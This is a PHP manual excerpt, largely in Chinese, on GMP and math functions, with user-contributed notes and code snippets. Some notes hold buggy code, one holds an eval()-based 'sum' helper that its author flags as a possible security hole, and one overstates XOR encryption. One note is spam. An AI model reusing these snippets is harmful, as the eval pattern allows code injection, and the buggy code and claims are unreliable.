gri501r at yandex dot ru 19-Sep-2014 12:00
May be it's bug :
     gmp_sign(1) returns 'false'
krees 03-Apr-2014 10:37
You can also do this:
<?php
$sign = min(1, max(-1, $a));
?>
thomas at zilliox dot me 21-Oct-2011 03:11
Hi !

If you don't have the GMP extension, the sign function is really simple to code.
Here an example of implementation :

<?php
function sign( $number ) {
    return ( $number > 0 ) ? 1 : ( ( $number < 0 ) ? -1 : 0 );
}

echo sign( 500 ); // Return 1
echo sign( -500 ); // Return -1
echo sign( 0 ); // Return 0
?>

Thomas.


Calculate square root

  • ? gmp_sign
  • gmp_sqrtrem ?
  • PHP Manual
  • GMP 函数
  • Calculate square root

gmp_sqrt

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sqrt — Calculate square root

说明

gmp_sqrt(GMP|int|string $num): GMP

Calculates square root of num.

参数

num

GMP 对象或 int ，或数字string。

返回值

The integer portion of the square root, as a GMP number.

示例

Example #1 gmp_sqrt() example

<?php
$sqrt1 = gmp_sqrt("9");
$sqrt2 = gmp_sqrt("7");
$sqrt3 = gmp_sqrt("1524157875019052100");

echo gmp_strval($sqrt1) . "\n";
echo gmp_strval($sqrt2) . "\n";
echo gmp_strval($sqrt3) . "\n";
?>

以上示例会输出：

3
2
1234567890

User Contributed Notes

There are no user contributed notes for this page.


Square root with remainder

  • ? gmp_sqrt
  • gmp_strval ?
  • PHP Manual
  • GMP 函数
  • Square root with remainder

gmp_sqrtrem

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sqrtrem — Square root with remainder

说明

gmp_sqrtrem(GMP|int|string $num): array

Calculate the square root of a number, with remainder.

参数

num

The number being square rooted.

GMP 对象或 int ，或数字string。

返回值

Returns array where first element is the integer square root of num and the second is the remainder (i.e., the difference between num and the first element squared).

示例

Example #1 gmp_sqrtrem() example

<?php
list($sqrt1, $sqrt1rem) = gmp_sqrtrem("9");
list($sqrt2, $sqrt2rem) = gmp_sqrtrem("7");
list($sqrt3, $sqrt3rem) = gmp_sqrtrem("1048576");

echo gmp_strval($sqrt1) . ", " . gmp_strval($sqrt1rem) . "\n";
echo gmp_strval($sqrt2) . ", " . gmp_strval($sqrt2rem) . "\n";
echo gmp_strval($sqrt3) . ", " . gmp_strval($sqrt3rem) . "\n";
?>

以上示例会输出：

3, 0
2, 3
1024, 0

User Contributed Notes

There are no user contributed notes for this page.


Convert GMP number to string

  • ? gmp_sqrtrem
  • gmp_sub ?
  • PHP Manual
  • GMP 函数
  • Convert GMP number to string

gmp_strval

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_strval — Convert GMP number to string

说明

gmp_strval(GMP|int|string $num, int $base = 10): string

Convert GMP number to string representation in base base. The default base is 10.

参数

num

The GMP number that will be converted to a string.

GMP 对象或 int ，或数字string。

base

The base of the returned number. The default base is 10. Allowed values for the base are from 2 to 62 and -2 to -36.

返回值

The number, as a string.

示例

Example #1 Converting a GMP number to a string

<?php
$a = gmp_init("0x41682179fbf5");
printf("Decimal: %s, 36-based: %s", gmp_strval($a), gmp_strval($a,36));
?>

User Contributed Notes

Anonymous 21-Jan-2020 07:18
casting to string seems to do the same (for base10) and it's much faster

(string) $num

instead of

gmp_strval($num)
Nitrogen 29-Nov-2015 11:56
It may be worth noting that using gmp_strval can slow your script down a lot with large numbers.

This script for example, produces factorials in succession:
<?php

$start = microtime(TRUE);

$fact = gmp_init(1, 10);
for($i=1;$i<100000;$i++) { // calculates 100,000 factorials
  $fact = gmp_mul($fact, $i); // $fact is now the result of the $ith factorial
  // gmp_strval($fact, 10); // see below...
  if(microtime(TRUE)-$start>1) // stop calculating after 1 second
    break;
}
// print whatever result that took 1 second to complete
printf("\$i = %d\n\$fact = %s\n", gmp_strval($fact, 10));

?>

My server calculates around about the 69,500th factorial on average every time. Uncommenting that gmp_strval line slows this process down dramatically, and only calculates about 5,000 factorials. This is about 14 times longer than before (this is consistent with allowing it to run for any number of seconds, not just 1).

Nitrogen.
russell dot s dot harper at gmail dot com 26-May-2010 10:22
A gotcha when using the value from gmp_strval as a key in an associative array. Some numbers are 2^31 are converted to signed integer format, this is usually incorrect.

<?php

$a = gmp_init('2147483649'); // = 2^31 + 1
$b = gmp_init('3173604585'); // = 2^31 < $b < 2^32

$c = gmp_strval($a);
$d = gmp_strval($b);

$e = array($c => 'c', $d => 'd');

print '*** Expect '."\n";
print 'Array '."\n".'('."\n".'    ['.$c.'] => c'."\n".'    ['.$d.'] => d'."\n".')'."\n\n";
print '*** Actual '."\n";
print_r($e);

?>

Output:

*** Expect
Array
(
    [2147483649] => c
    [3173604585] => d
)

*** Actual
Array
(
    [-2147483647] => c
    [3173604585] => d
)

A workaround is to format as base 16 and append '0x' before using as a key.
php at richardneill dot org 19-Sep-2006 04:47
I think it's no longer necessary to worry about trailing nulls. This was fixed in Feb 2002 (see bug 10133)
caldwell at utm dot NoSpamPlease dot edu 22-Jul-2001 08:17
Warning: gmp_strval may return a null terminated string (e.g., gmp_strval(gmp_init(8)) has two characters. This is because gmp is built for speed, so uses estimates based on things it can get quickly, like the number of bits in N. So since 8 is a 4 bit number, it will be allocated ceil(log10(2^4))=ceil(4*0.30103....) = 2 characters. The gmp folks feel it is the caller's responsibility (in this case the PHP interface) to check whether or not all the characters were required.  PHP might have done this for us (and may in the future), but for now, you need to check (if it matters to you--it sure did in my program!).


Subtract numbers

  • ? gmp_strval
  • gmp_testbit ?
  • PHP Manual
  • GMP 函数
  • Subtract numbers

gmp_sub

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sub — Subtract numbers

说明

gmp_sub(GMP|int|string $num1, GMP|int|string $num2): GMP

Subtracts num2 from num1 and returns the result.

参数

num1

The number being subtracted from.

GMP 对象或 int ，或数字string。

num2

The number subtracted from num1.

GMP 对象或 int ，或数字string。

返回值

GMP 对象。

示例

Example #1 gmp_sub() example

<?php
$sub = gmp_sub("281474976710656", "4294967296"); // 2^48 - 2^32
echo gmp_strval($sub) . "\n";
?>

以上示例会输出：

281470681743360

User Contributed Notes

There are no user contributed notes for this page.


Tests if a bit is set

  • ? gmp_sub
  • gmp_xor ?
  • PHP Manual
  • GMP 函数
  • Tests if a bit is set

gmp_testbit

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gmp_testbit — Tests if a bit is set

说明

gmp_testbit(GMP|int|string $num, int $index): bool

Tests if the specified bit is set.

参数

num

GMP 对象或 int ，或数字string。

index

The bit to test

返回值

Returns true if the bit is set in num, otherwise false.

错误／异常

An E_WARNING level error is issued when index is less than zero, and false is returned.

示例

Example #1 gmp_testbit() example

<?php
$n = gmp_init("1000000");
var_dump(gmp_testbit($n, 1));
gmp_setbit($n, 1);
var_dump(gmp_testbit($n, 1));
?>

以上示例会输出：

bool(false)
bool(true)

参见

  • gmp_setbit() - Set bit
  • gmp_clrbit() - Clear bit

User Contributed Notes

bluej100@gmail 19-Jul-2007 02:48
gmp_testbit will be very useful for my (over 64-bit) bitmask checking.

In the meantime, I think these are the best replacements.

Mostly full:

<?php
(gmp_scan1($a, $index) == $index)
?>

Mostly empty:

<?php
(gmp_scan0($a, $index) != $index)
?>

Still worst-case O(N), though.


Bitwise XOR

  • ? gmp_testbit
  • GMP ?
  • PHP Manual
  • GMP 函数
  • Bitwise XOR

gmp_xor

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_xor — Bitwise XOR

说明

gmp_xor(GMP|int|string $num1, GMP|int|string $num2): GMP

Calculates bitwise exclusive OR (XOR) of two GMP numbers.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

返回值

GMP 对象。

示例

Example #1 gmp_xor() example

<?php
$xor1 = gmp_init("1101101110011101", 2);
$xor2 = gmp_init("0110011001011001", 2);

$xor3 = gmp_xor($xor1, $xor2);

echo gmp_strval($xor3, 2) . "\n";
?>

以上示例会输出：

1011110111000100

User Contributed Notes

greenone 02-Jul-2008 12:26
here's a fast alternative to compute the xor-value of two bitstrings of an arbitrary (but same) length.

<?php
/**
 * xor-op for bitstrings of arbitrary length
 * bitstrings must have same length
 *
 * @param string $o1
 * @param string $o2
 * @return string
 */
function bitxor($o1, $o2) {
    $xorWidth = PHP_INT_SIZE*8;
    $o1 = str_split($o1, $xorWidth);
    $o2 = str_split($o2, $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
kimcbrowne at hotmail dot com 03-Oct-2005 07:48
To be unbreakable XOR encryption must have a key that is totally random and is never re-used.  If you use a key a second time, it can be broken.  This can be confirmed by reading the page at http://en.wikipedia.org/wiki/One-time_pad.

Although I am not an expert on cryptography, I understand that decyphering involves recognizing patterns and that it would be possible to decrypt code that was encoded using XOR with the same key if there were enough samples to examine.  Maintaining unique keys for each encryption at both encryption and decryption points to ensure 100 percent unbreakability has security problems of its own - where and how are the keys stored and how are they transmitted to the decryption points?
bukaj at bukaj dot net 28-Mar-2005 05:38
XOR encryption is an ultimate encryption algorithm. It can't be be broken. It is used to encrypt stealth submarine's orders. I cannot agree with "kid-sister" post below. If you use vast key (as long as encrypted message) which is random (space noise recorded on a cd), the encrypted message is also radnom - impossible to decrypt without key. Under those conditions, XOR is strongest encryption algorithm ever known.
patm at pureconnection dot net 07-Jan-2004 05:22
XOR encryption only works if the key is at liest the same size as the plaintext, and the key is perfectly random. And no, rand() is not perfectly random.
mikko at entris dot net 15-Jul-2002 02:33
The logical XOR can be used for encrypting data. Use resource A as your original text and resource B as the key. Be sure to use long enough key so that the key doesn't loop. Decryption works the same way, input encrypted text as res A and key as res B.


The GMP class

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

简介

A GMP number. These objects support overloaded arithmetic, bitwise and comparison operators.

Note:

No object-oriented interface is provided to manipulate GMP objects. Please use the procedural GMP API.

class GMP {
/* 方法 */
public __construct(int|string $num = 0, int $base = 0)
public __serialize(): array
public __unserialize(array $data): void
}

Table of Contents

  • GMP::__construct — Create GMP number
  • GMP::__serialize — Serializes the GMP object
  • GMP::__unserialize — Deserializes the data parameter into a GMP object

User Contributed Notes

There are no user contributed notes for this page.


Create GMP number

  • ? GMP
  • GMP::__serialize ?
  • PHP Manual
  • GMP
  • Create GMP number

GMP::__construct

(PHP 8 >= 8.2.4)

GMP::__construct — Create GMP number

说明

public GMP::__construct(int|string $num = 0, int $base = 0)

Creates a GMP number from an integer or string.

参数

num

An integer or a string. The string representation can be decimal, hexadecimal or octal.

base

The base.

The base may vary from 2 to 62. If base is 0 (default value), the actual base is determined from the leading characters: if the first two characters are 0x or 0X, hexadecimal is assumed, if the first two characters are 0b or 0B, binary is assumed, otherwise if the first character is 0, octal is assumed, otherwise decimal is assumed. For bases up to 36, case is ignored; upper-case and lower-case letters have the same value. For bases 37 to 62, upper-case letter represent the usual 10 to 35 while lower-case letter represent 36 to 61.

参见

  • gmp_init() - Create GMP number

User Contributed Notes

There are no user contributed notes for this page.


Serializes the GMP object

  • ? GMP::__construct
  • GMP::__unserialize ?
  • PHP Manual
  • GMP
  • Serializes the GMP object

GMP::__serialize

(PHP 8 >= 8.1.0)

GMP::__serialize — Serializes the GMP object

说明

public GMP::__serialize(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Deserializes the data parameter into a GMP object

  • ? GMP::__serialize
  • Math ?
  • PHP Manual
  • GMP
  • Deserializes the data parameter into a GMP object

GMP::__unserialize

(PHP 8 >= 8.1.0)

GMP::__unserialize — Deserializes the data parameter into a GMP object

说明

public GMP::__unserialize(array $data): void

Warning

本函数还未编写文档，仅有参数列表。

参数

data

The value being deserialized.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


数学函数

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Math 函数
    • abs — 绝对值
    • acos — 反余弦
    • acosh — 反双曲余弦
    • asin — 反正弦
    • asinh — 反双曲正弦
    • atan2 — 两个参数的反正切
    • atan — 反正切
    • atanh — 反双曲正切
    • base_convert — 在任意进制之间转换数字
    • bindec — 二进制转换为十进制
    • ceil — 进一法取整
    • cos — 余弦
    • cosh — 双曲余弦
    • decbin — 十进制转换为二进制
    • dechex — 十进制转换为十六进制
    • decoct — 十进制转换为八进制
    • deg2rad — 将角度转换为弧度
    • exp — 计算 e 的指数
    • expm1 — 返回 exp($num) - 1，甚至当 number 的值接近零也能计算出准确结果
    • fdiv — Divides two numbers, according to IEEE 754
    • floor — 舍去法取整
    • fmod — 返回除法的浮点数余数
    • hexdec — 十六进制转换为十进制
    • hypot — 计算直角三角形的斜边长度
    • intdiv — 对除法结果取整
    • is_finite — 判断浮点数是否是有效的有限值
    • is_infinite — 判断浮点数是否为无限值
    • is_nan — 判断浮点数是否是否为 NAN
    • log10 — 以 10 为底的对数
    • log1p — 返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果
    • log — 自然对数
    • max — 找出最大值
    • min — 找出最小值
    • octdec — 八进制转换为十进制
    • pi — 得到圆周率值
    • pow — 指数表达式
    • rad2deg — 将弧度数转换为相应的角度数
    • round — 对浮点数进行四舍五入
    • sin — 正弦
    • sinh — 双曲正弦
    • sqrt — 平方根
    • tan — 正切
    • tanh — 双曲正切

User Contributed Notes

There are no user contributed notes for this page.


简介

这些数学函数将只处理 int 和 float 类型范围内的值。要处理更大的数字，请查看任意精度数学函数或 GNU 多精度函数。

参见

  • 算术运算符
  • 任意精度数学函数
  • GNU 多精度函数

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量作为 PHP 核心的一部分总是可用的。

数学常量
常量 | 值 | 说明 | 有效性
M_PI | 3.14159265358979323846 | Pi |
M_E | 2.7182818284590452354 | e |
M_LOG2E | 1.4426950408889634074 | log_2 e |
M_LOG10E | 0.43429448190325182765 | log_10 e |
M_LN2 | 0.69314718055994530942 | log_e 2 |
M_LN10 | 2.30258509299404568402 | log_e 10 |
M_PI_2 | 1.57079632679489661923 | pi/2 |
M_PI_4 | 0.78539816339744830962 | pi/4 |
M_1_PI | 0.31830988618379067154 | 1/pi |
M_2_PI | 0.63661977236758134308 | 2/pi |
M_SQRTPI | 1.77245385090551602729 | sqrt(pi) |
M_2_SQRTPI | 1.12837916709551257390 | 2/sqrt(pi) |
M_SQRT2 | 1.41421356237309504880 | sqrt(2) |
M_SQRT3 | 1.73205080756887729352 | sqrt(3) |
M_SQRT1_2 | 0.70710678118654752440 | 1/sqrt(2) |
M_LNPI | 1.14472988584940017414 | log_e(pi) |
M_EULER | 0.57721566490153286061 | 欧拉常数 |
PHP_ROUND_HALF_UP | 1 | 一半的数值时向上取整 |
PHP_ROUND_HALF_DOWN | 2 | 一半的数值时向下取整 |
PHP_ROUND_HALF_EVEN | 3 | 四舍五入为偶数 |
PHP_ROUND_HALF_ODD | 4 | 四舍五入为奇数 |
NAN | NAN（作为浮点数） | 非数值 |
INF | INF（作为浮点数） | 无穷大 |

User Contributed Notes

br at ndon dot co 25-Oct-2021 09:20
The constants

PHP_ROUND_HALF_UP
PHP_ROUND_HALF_DOWN
PHP_ROUND_HALF_EVEN
PHP_ROUND_HALF_ODD

are constants intended to be used as the 3rd parameter in the math function round()

https://www.php.net/manual/en/function.round
Kira-Bianca dot Hinz at web dot de 01-Apr-2020 04:51
Caution when using variables with the value NAN (or directly NAN, which would not be logical) if the value is converted in any form (integer, string or other non-float format)!
In that case, NAN is converted to 0. (e.g. as an index in an array, argument of a method that takes it as a non-float parameter, etc.). This bug has been reported several times, but is still present in the current version PHP 7.3.15.

Example 1:
$array = [0 =>  'zero', 1 => 'one', 2 => 'two'];
$index = NAN;
echo $array[$index]; // echo 'zero' and not as axcepted throws an exception or at least a warning 'undefined offset NAN ...'

Example 2:
function f((int) $p) { return $p; }
echo f(NAN); // echo 0 because the argument (NAN) has been converted to integer (0)

It would have to be checked in both cases explicitly for is_nan():
1: if(is_nan($index)){
      <throw Exception>
   }else{
      echo $array[$index];
   };

2: function f($p){ // without converting!!!
      if(is_nan($p)){
         <throw Exception>
      }else{
         return (int)$p; // actually a correct conversion  to Integer would have to be checked because the parser does not check this here.
      };
   }
Hayley Watson 16-Aug-2017 12:11
From PHP 7.2.0, the PHP_FLOAT_* constants are provided to describe the properties of floating point numbers that can be stored; PHP_FLOAT_MAX, for example, is analogous to PHP_INT_MAX and represents the largest possible floating-point number.
steve at websmithery dot co dot uk 12-Jun-2017 11:02
Another observation on INF.

Division by zero results in INF:

<?php
var_dump(1/0); // float(INF)
?>

BUT a 'Division by zero' warning is issued.
pemapmodder1970 at gmail dot com 23-Jun-2016 03:33
Although INF can be used for comparison against normal numbers and as a directed number, and behaves as reciprocal of zero, it is not like limit INF tends to infinity. These operations do not work:

<?php
var_dump(INF / INF); // float(NAN)
var_dump(INF - INF); // float(NAN)
?>

However, it works with arc-tangent:
<?php
var_dump(atan(INF) / M_PI); // float(0.5)
var_dump(atan2(INF, INF) / M_PI); // float(0.25)
var_dump(atan2(1, INF) / M_PI); // float(0)
?>
md2perpe at gmail dot com 29-Sep-2015 02:43
I just learnt of INF today and found out that it can be used in comparisons:

    echo 5000 < INF ? 'yes' : 'no';       // outputs 'yes'
    echo INF < INF ? 'yes' : 'no';        // outputs 'no'
    echo INF <= INF ? 'yes' : 'no';       // outputs 'yes'
    echo INF == INF ? 'yes' : 'no';       // outputs 'yes'

You can also take its negative:

    echo -INF < -5000 ? 'yes' : 'no';    // outputs 'yes'

Division by INF is allowed:

    echo 1/INF;    // outputs '0'
Hayley Watson 22-Mar-2012 12:20
There are also the predefined PHP_INT_MAX and PHP_INT_SIZE constants, that describe the range of possible integer values.


Math 函数

Table of Contents

  • abs — 绝对值
  • acos — 反余弦
  • acosh — 反双曲余弦
  • asin — 反正弦
  • asinh — 反双曲正弦
  • atan2 — 两个参数的反正切
  • atan — 反正切
  • atanh — 反双曲正切
  • base_convert — 在任意进制之间转换数字
  • bindec — 二进制转换为十进制
  • ceil — 进一法取整
  • cos — 余弦
  • cosh — 双曲余弦
  • decbin — 十进制转换为二进制
  • dechex — 十进制转换为十六进制
  • decoct — 十进制转换为八进制
  • deg2rad — 将角度转换为弧度
  • exp — 计算 e 的指数
  • expm1 — 返回 exp($num) - 1，甚至当 number 的值接近零也能计算出准确结果
  • fdiv — Divides two numbers, according to IEEE 754
  • floor — 舍去法取整
  • fmod — 返回除法的浮点数余数
  • hexdec — 十六进制转换为十进制
  • hypot — 计算直角三角形的斜边长度
  • intdiv — 对除法结果取整
  • is_finite — 判断浮点数是否是有效的有限值
  • is_infinite — 判断浮点数是否为无限值
  • is_nan — 判断浮点数是否是否为 NAN
  • log10 — 以 10 为底的对数
  • log1p — 返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果
  • log — 自然对数
  • max — 找出最大值
  • min — 找出最小值
  • octdec — 八进制转换为十进制
  • pi — 得到圆周率值
  • pow — 指数表达式
  • rad2deg — 将弧度数转换为相应的角度数
  • round — 对浮点数进行四舍五入
  • sin — 正弦
  • sinh — 双曲正弦
  • sqrt — 平方根
  • tan — 正切
  • tanh — 双曲正切

User Contributed Notes

pradhumansaini2 at gmail dot com 06-Mar-2021 06:17
Ajay Singh Deol is commonly known as Sunny Deol which is a famous Indian Television actor and a Politician as well. Want to know about the info then you can check it in your browser such as Sunny Deol age where you can get about his complete information.
For your information, Sunny Deol is the person who won the Filmfare award for the best actor
Anonymous 02-Feb-2018 06:44
And the reason I needed a Factorial function is because I there were no nPr or nCr functions native to PHP, either.

function n_pick_r($n,$r){$n=(int)$n; $r=(int)$r;return (fact($n)/fact($n-$r));}
function n_choose_r($n,$r){$n=(int)$n; $r=(int)$r;return (n_pick_r($n,$r)/fact($r));}

Hope that helps someone!
exmple:https://vb.3dlat.com/
Aiden880 28-Mar-2015 01:47
Lowest Common Denominator:
function lcd($num, $start) {
    while($num % $start != 0) {
        $start++;
    }
    return $start;
}
capripot at gmail dot com 18-Jul-2012 09:48
Another simpler function to check a number with the luhn algorithm :

<?php
function luhn($num){
    if(!$num)
        return false;
    $num = array_reverse(str_split($num));
    $add = 0;
    foreach($num as $k => $v){
        if($k%2)
            $v = $v*2;
        $add += ($v >= 10 ? $v - 9 : $v);
    }
    return ($add%10 == 0);
}
?>

Don't know if foreach and arrays operations are faster than while and substr, but I feel it clearer.
AsherMaximum gmail 18-Apr-2011 09:40
Here's a simple way way to convert a number to an ordinal number I created:

$i == the number to convert. Put this inside a for loop if you need to populate an array.

<?php
// change increment variable to ordinal number.
$n1 = $i % 100; //first remove all but the last two digits

$n2 = ($n1 < 20 ? $1 : $i % 10; //remove all but last digit unless the number is in the teens, which all should be 'th'

//$n is now used to determine the suffix.
$ord = ($n2==1 ? $i.'st' : ( ($n2==2 ? $i.'nd' : ($n2==3 ? $i.'rd' : $i.'th') ) ) )
?>
php at keith tyler dot com 04-Nov-2010 11:09
Another ordinal method, which does not involve utilizing date functions:

<?php
sprintf( "%d%s", $t, array_pop( array_slice( array_merge( array( "th","st","nd","rd"), array_fill( 4,6,"th")), $t%10, 1)));'
?>
lummox 02-Feb-2008 07:24
Wouldn't the following function do the same but a lot easier than the one in the comment before?

function trimInteger($targetNumber,$newLength) {
    return $targetNumber%pow(10,$newLength);
}
Mike 09-Jan-2008 07:23
//had a mistake in last post, heres the corrected version

/*
Just a simple function to trim digits from the left side of an integer. TRIM DOWN TO 4-> (ie. 987654 => 7654)
*/

function trimInteger($targetNumber,$newLength) {

    $digits = pow(10,$newLength);

    $s = ($targetNumber/ $digits); //make the last X digits the                  decimal part

    $t = floor($targetNumber / $digits); //drop the last X digits (the decimal part)

    $h = $s - $t; //remove all  but the decimal part

    $newInteger = ($h*$digits); //make the everything after the decimal point the new number

    return $newInteger;
}
barry at megaspace dot com 02-Dec-2006 09:14
Here's a least common denominator (lcd) function:

$array = array(3,4,6,8,18,2);

    function lcd($array,$x) {

        $mod_sum = 0;

        for($int=1;$int < count($array);$int++) {
            $modulus[$int] = ($array[0]*$x) % ($array[$int]);
            $mod_sum = $mod_sum + $modulus[$int];
        }

        if (!$mod_sum) {
            echo "LCD: ".($array[0]*$x)."\n";
        }

        else {
            lcd($array,$x+1);
        }

    }

lcd($array,1);
tembenite at gmail dot com 06-Nov-2006 01:36
To add to what Cornelius had, I have written a function that will take an array of numbers and return the least common multiple of them:

function lcm_arr($items){
    //Input: An Array of numbers
    //Output: The LCM of the numbers
    while(2 <= count($items)){
        array_push($items, lcm(array_shift($items), array_shift($items)));
    }
    return reset($items);
}

//His Code below with $'s added for vars

function gcd($n, $m) {
   $n=abs($n); $m=abs($m);
   if ($n==0 and $m==0)
       return 1; //avoid infinite recursion
   if ($n==$m and $n>=1)
       return $n;
   return $m<$n?gcd($n-$m,$n):gcd($n,$m-$n);
}

function lcm($n, $m) {
   return $m * ($n/gcd($n,$m));
}
edward at edwardsun dot com 19-Jul-2006 06:24
well just a note.. maybe i'm a bit stupid.. but remember to use pow() rather than the "^" sign for exponents.. as it took me 5 minutes to figure out why it wasn't working.
marasek.SPAMLESS at telton.de 08-Jun-2006 05:23
I could not resist to do a simpler version of the ordinal function:
<?php
function ordinal($num)
{
    $num = (int)$num;
    $digit = substr($num, -1, 1);
    $ord = "th";
    switch($digit)
    {
        case 1: $ord = "st"; break;
        case 2: $ord = "nd"; break;
        case 3: $ord = "rd"; break;
    break;
    }
return $num.$ord;
}
?>
One could replace the typecast with

<?php
if($num===NULL or $num==="")
{return NULL;}
?>

to get an empty result instead of "0th" in case $num is empty too.
moikboy (nospam!) moikboy (nospam!) hu 10-May-2006 01:15
I think, this is the optimal code for calculating factorials:

<?php
function fact($int){
    if($int<2)return 1;
    for($f=2;$int-1>1;$f*=$int--);
    return $f;
};
?>

And another one for calculating the $int-th Fibonacci-number:

<?php
function fib($int){
    static $fibTable=array();
    return empty($fibTable[$int])?$fibTable[$int] = $int>1?fib($int-2)+fib($int-1):1:$fibTable[$int];
};
?>
Florian 03-Mar-2006 01:36
A function that simulates the sum operator. (http://en.wikipedia.org/wiki/Sum). Be careful with the expression because it may cause a security hole; note the single quotes to don't parse the "$".
<?php
# @param    string    $expr    expression to evaluate (for example (2*$x)^2+1)
# @param    string    $var      dummy variable (for example "x")
# @param    integer    $start
# @param    integer    $end
# @param    integer    $step

function sum($expr,$var,$start,$end,$step = 1) {
    $expr = str_replace(';','',$expr);
    $var = str_replace('$','',$var);
    $start = (int)$start;    $end = (int)$end;    $step = (int)$step;    $sum = 0;

    for ($i = $start; $i <= $end; $i = $i + $step) {
        $_expr = str_replace('$'.$var,$i,$expr);
        $_eval = '$_result = '.$_expr.'; return $_result;';
        $_result = eval($_eval);
        if($result === FALSE) return "SYNTAX ERROR : $expr";
        $sum += $_result;
    }
    return (int)$sum;
}
?>
peter-stangl at t-online dot de 01-Feb-2006 03:16
I needed to approximate an integral because i was not able to calculate it, so i wrote this function. It approximates an integral with the composite Simpson's rule.
More information on Simpson's rule: http://en.wikipedia.org/wiki/Simpson%27s_rule

<?php

function simpsonf($x){
// returns f(x) for integral approximation with composite Simpson's rule
   return(pow((1+pow($x, (-4))), 0.5));
}
function simpsonsrule($a, $b, $n){
// approximates integral_a_b f(x) dx with composite Simpson's rule with $n intervals
// $n has to be an even number
// f(x) is defined in "function simpsonf($x)"
   if($n%2==0){
      $h=($b-$a)/$n;
      $S=simpsonf($a)+simpsonf($b);
      $i=1;
      while($i <= ($n-1)){
         $xi=$a+$h*$i;
         if($i%2==0){
            $S=$S+2*simpsonf($xi);
         }
         else{
            $S=$S+4*simpsonf($xi);
         }
         $i++;
      }
      return($h/3*$S);
      }
   else{
      return('$n has to be an even number');
   }
}

?>
daniel at g-loc dot org 01-Dec-2005 10:01
If you're an aviator and needs to calculate windcorrection angles and groundspeed (e.g. during flightplanning) this can be very useful.

$windcorrection = rad2deg(asin((($windspeed * (sin(deg2rad($tt - ($winddirection-180))))/$tas))));
$groundspeed = $tas*cos(deg2rad($windcorrection)) + $windspeed*cos(deg2rad($tt-($winddirection-180)));

You can probably write these lines more beautiful, but they work!
monte at ohrt dot com 18-Oct-2005 06:37
This is an efficient method of calculating the binomial coefficient C(n,k). This code was derived from Owant: Mastering Algorithms with Perl.

<?php
   // calculate binomial coefficient
   function binomial_coeff($n, $k) {

      $j = $res = 1;

      if($k < 0 || $k > $n)
         return 0;
      if(($n - $k) < $k)
         $k = $n - $k;

      while($j <= $k) {
         $res *= $n--;
         $res /= $j++;
      }

      return $res;

   }
?>

If you compiled php with --enable-bcmath, you can get full integer values of extremely large numbers by replacing:

$res *= $n--;
$res /= $j++;

with:

$res = bcmul($res, $n--);
$res = bcdiv($res, $j++);
bjcffnet at gmail dot com 26-Jul-2005 04:57
thearbitcouncil at gmail dot com, you could just use array_sum():
<?php
function average($arr)
{
   if (!is_array($arr)) return false;

   return array_sum($arr)/count($arr);
}

$array = array(5, 10, 15);
echo average($array); // 10
?>
tmpa at yahoo dot com 19-Feb-2005 12:42
while joogat's one line function is short, it is probably better to calculate factorial iteratively instead of recursively. keep in mind if you want large factorials, you'll need to use some sort of arbitrary precision integer or perhaps the BCMath functions. then again, unless you're trying to do large numbers (170! is the highest that you can do that does not return infinity) you probably won't notice any time difference.
<?php
function factorial($in) {
    // 0! = 1! = 1
    $out = 1;

    // Only if $in is >= 2
    for ($i = 2; $i <= $in; $i++) {
        $out *= $i;
    }

    return $out;
}
?>
thearbitcouncil at gmail dot com 06-Jan-2005 02:32
Two functions I didn't find elsewhere... one to compute mean of an array of numbers, and another to computer variance of a sample of numbers. Both take an array of numbers as arguments. Not much error checking, or optimization...

(note: variance function uses the average function...)

<?php

function average($arr)
{
    if (!count($arr)) return 0;

    $sum = 0;
    for ($i = 0; $i < count($arr); $i++)
    {
        $sum += $arr[$i];
    }

    return $sum / count($arr);
}

function variance($arr)
{
    if (!count($arr)) return 0;

    $mean = average($arr);

    $sos = 0;    // Sum of squares
    for ($i = 0; $i < count($arr); $i++)
    {
        $sos += ($arr[$i] - $mean) * ($arr[$i] - $mean);
    }

    return $sos / (count($arr)-1);  // denominator = n-1; i.e. estimating based on sample
                                    // n-1 is also what MS Excel takes by default in the
                                    // VAR function
}

echo variance(array(4,6,23,15,18)); // echoes 64.7...correct value :)

?>
info at gavinvincent dot co dot uk 17-Nov-2004 04:34
If you need to deal with polar co-ordinates for somereason you will need to convert to and from x,y for input and output in most situations: here are some functions to convert cartesian to polar and polar to cartesian
<?
//returns array of r, theta in the range of 0-2*pi (in radians)
function rect2polar($x,$y)
{
     if(is_numeric($x)&&is_numeric($y))
    {
        $r=sqrt(pow($x,2)+pow($y,2));
        if($x==0)
        {
             if($y>0) $theta=pi()/2;
            else $theta=3*pi()/2;
        }
        else if($x<0) $theta=atan($y/$x)+pi();
        else if($y<0) $theta=atan($y/$x)+2*pi();
        else $theta=atan($y/$x);
        $polar=array("r"=>$r,"theta"=>$theta);
        return $polar;
    }
    else return false;
}

//r must be in radians, returns array of x,y
function polar2rect($r,$theta)
{
 if(is_numeric($r)&&is_numeric($theta))
 {
        $x=$r*cos($theta);
    $y=$r*sin($theta);
    $rect=array("x"=>$x,"y"=>$y);
 }
 else
 {
   return false;
 }
}
?>
help at gjbdesign dot com 25-Sep-2004 09:05
Occasionally a user must enter a number in a form. This function converts fractions to decimals and leaves decimals untouched. Of course, you may wish to round the final output, but that is not included here.

<?php
/*Some example values of $q
$q = "2.5";
$q = "2 1/2";
$q = "5/2";
*/
function Deci_Con($q){
//check for a space, signifying a whole number with a fraction
    if(strstr($q, ' ')){
        $wa = strrev($q);
        $wb = strrev(strstr($wa, ' '));
